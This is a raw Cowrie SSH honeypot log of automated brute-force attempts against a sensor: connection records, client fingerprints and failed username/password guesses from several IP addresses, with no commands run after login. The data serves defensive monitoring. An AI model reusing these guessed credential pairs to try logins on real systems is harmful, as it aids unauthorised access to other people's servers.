{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:93:16:9e:fd:7f:72:e1:7a:53:40:b8:38:bc:b8:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPrqYNOiOf5NhNQ/RZD+algcsqQNya1xhLxaNon7zIEiJP8SSEIpQ2bob9UhndcnL3SN20QiwQcvbtBywHYVAxLvcEgz/Dn79ekvFjEKOsoZGIKYCvvzCRT/VrB1hiDEoSUIcPy3FtD9Wj8zgtxe/Ei8z1IDHXY2XVLJ1swy4gMQ2/Qz7ZsJm25sPMNt8dfOl6Pip7Oc5nDV0ukcB8N03cJcnrhvRCN0RZtLjA0J5WWUg64d2Dia7YXQbJ3cQnNvR8YoI1bEHyNVOwTuQqI2v+k9rAsz3ez8sFIzV6r1Av0/R72qBx/opG2DBsZnzH8n3kdD7Sj4peijzxrrxuItAN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:93:16:9e:fd:7f:72:e1:7a:53:40:b8:38:bc:b8:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.708989Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:93:16:9e:fd:7f:72:e1:7a:53:40:b8:38:bc:b8:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPrqYNOiOf5NhNQ/RZD+algcsqQNya1xhLxaNon7zIEiJP8SSEIpQ2bob9UhndcnL3SN20QiwQcvbtBywHYVAxLvcEgz/Dn79ekvFjEKOsoZGIKYCvvzCRT/VrB1hiDEoSUIcPy3FtD9Wj8zgtxe/Ei8z1IDHXY2XVLJ1swy4gMQ2/Qz7ZsJm25sPMNt8dfOl6Pip7Oc5nDV0ukcB8N03cJcnrhvRCN0RZtLjA0J5WWUg64d2Dia7YXQbJ3cQnNvR8YoI1bEHyNVOwTuQqI2v+k9rAsz3ez8sFIzV6r1Av0/R72qBx/opG2DBsZnzH8n3kdD7Sj4peijzxrrxuItAN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.714753Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:e9:cd:82:e8:31:13:db:88:75:f9:69:71:17:05:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBjt5ohTUCVxQHHKTZmz2XIDaQxdkqW/WJAqZi9w/TFUdi7u8bc9WUOThPk2Msw3I1KQ8GR0zmh93ChJGbzeupStDekDok1UPJOtU6WtBRMsSJMdw8pKw50UipE06VC7KzNM1hX1kr4cOQXXedA76kwicEiFErXaZL+jIRKwQY+tj3npMUdRCjI6pF9EFfMREtzWIbr6+9tQCNhTVuMvRt/QpQwvx8e2vlo0sEYUEN8ez7E0O++92EBrQa1Q778bZElImETwt69Luo8+ClHYZDZZ5kp0g4Zw4ffY09tUnKIHQHOGOnjQano/yhhHr9xIOMm0pJH7tXPnFdoOF+LeLn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:e9:cd:82:e8:31:13:db:88:75:f9:69:71:17:05:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.798582Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:e9:cd:82:e8:31:13:db:88:75:f9:69:71:17:05:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBjt5ohTUCVxQHHKTZmz2XIDaQxdkqW/WJAqZi9w/TFUdi7u8bc9WUOThPk2Msw3I1KQ8GR0zmh93ChJGbzeupStDekDok1UPJOtU6WtBRMsSJMdw8pKw50UipE06VC7KzNM1hX1kr4cOQXXedA76kwicEiFErXaZL+jIRKwQY+tj3npMUdRCjI6pF9EFfMREtzWIbr6+9tQCNhTVuMvRt/QpQwvx8e2vlo0sEYUEN8ez7E0O++92EBrQa1Q778bZElImETwt69Luo8+ClHYZDZZ5kp0g4Zw4ffY09tUnKIHQHOGOnjQano/yhhHr9xIOMm0pJH7tXPnFdoOF+LeLn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.803006Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.887108Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":36226,"dst_ip":"159.203.135.109","dst_port":22,"session":"719498e97e3a","protocol":"ssh","message":"New connection: 43.156.17.27:36226 (159.203.135.109:22) [session: 719498e97e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:12.031153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:12.035672Z","src_ip":"43.156.17.27","session":"719498e97e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:12.280864Z","src_ip":"43.156.17.27","session":"719498e97e3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chen","password":"123456","message":"login attempt [chen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:13.296280Z","src_ip":"43.156.17.27","session":"719498e97e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:14.546682Z","src_ip":"43.156.17.27","session":"719498e97e3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":43994,"dst_ip":"10.17.0.5","dst_port":22,"session":"d074b744bd65","protocol":"ssh","message":"New connection: 170.106.115.61:43994 (10.17.0.5:22) [session: d074b744bd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:16.180601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:16.190950Z","src_ip":"170.106.115.61","session":"d074b744bd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:16.261437Z","src_ip":"170.106.115.61","session":"d074b744bd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Roto555Pres","message":"login attempt [root/Roto555Pres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:16.572086Z","src_ip":"170.106.115.61","session":"d074b744bd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":1594,"dst_ip":"159.203.135.109","dst_port":22,"session":"86e934d14de0","protocol":"ssh","message":"New connection: 165.154.227.158:1594 (159.203.135.109:22) [session: 86e934d14de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:16.584921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:16.590253Z","src_ip":"165.154.227.158","session":"86e934d14de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:16.811927Z","src_ip":"165.154.227.158","session":"86e934d14de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:17.643379Z","src_ip":"170.106.115.61","session":"d074b744bd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello101","message":"login attempt [root/hello101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:17.731027Z","src_ip":"165.154.227.158","session":"86e934d14de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:18.955899Z","src_ip":"165.154.227.158","session":"86e934d14de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56418,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d18a72228a3","protocol":"ssh","message":"New connection: 80.94.92.186:56418 (159.203.135.109:22) [session: 0d18a72228a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:08.616974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:08.731576Z","src_ip":"80.94.92.186","session":"0d18a72228a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:08.737506Z","src_ip":"80.94.92.186","session":"0d18a72228a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:09.609794Z","src_ip":"80.94.92.186","session":"0d18a72228a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:10.859604Z","src_ip":"80.94.92.186","session":"0d18a72228a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":56380,"dst_ip":"159.203.135.109","dst_port":22,"session":"18e6a698f2a2","protocol":"ssh","message":"New connection: 193.32.162.151:56380 (159.203.135.109:22) [session: 18e6a698f2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:15.500741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:15.505840Z","src_ip":"193.32.162.151","session":"18e6a698f2a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:15.617674Z","src_ip":"193.32.162.151","session":"18e6a698f2a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:15.984334Z","src_ip":"193.32.162.151","session":"18e6a698f2a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:17.092819Z","src_ip":"193.32.162.151","session":"18e6a698f2a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":35334,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed8f803afe69","protocol":"ssh","message":"New connection: 43.156.17.27:35334 (159.203.135.109:22) [session: ed8f803afe69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:36.865000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:36.870364Z","src_ip":"43.156.17.27","session":"ed8f803afe69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:37.116573Z","src_ip":"43.156.17.27","session":"ed8f803afe69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123!","message":"login attempt [root/password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:38.128655Z","src_ip":"43.156.17.27","session":"ed8f803afe69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:39.376988Z","src_ip":"43.156.17.27","session":"ed8f803afe69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":27966,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1846a05abe6","protocol":"ssh","message":"New connection: 165.154.227.158:27966 (159.203.135.109:22) [session: c1846a05abe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:43.147254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:43.152933Z","src_ip":"165.154.227.158","session":"c1846a05abe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:43.375534Z","src_ip":"165.154.227.158","session":"c1846a05abe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ahmed123","message":"login attempt [root/ahmed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:44.291594Z","src_ip":"165.154.227.158","session":"c1846a05abe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:45.517042Z","src_ip":"165.154.227.158","session":"c1846a05abe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":33556,"dst_ip":"10.17.0.5","dst_port":22,"session":"a073ae4001e6","protocol":"ssh","message":"New connection: 170.106.115.61:33556 (10.17.0.5:22) [session: a073ae4001e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:08:49.145753Z"}
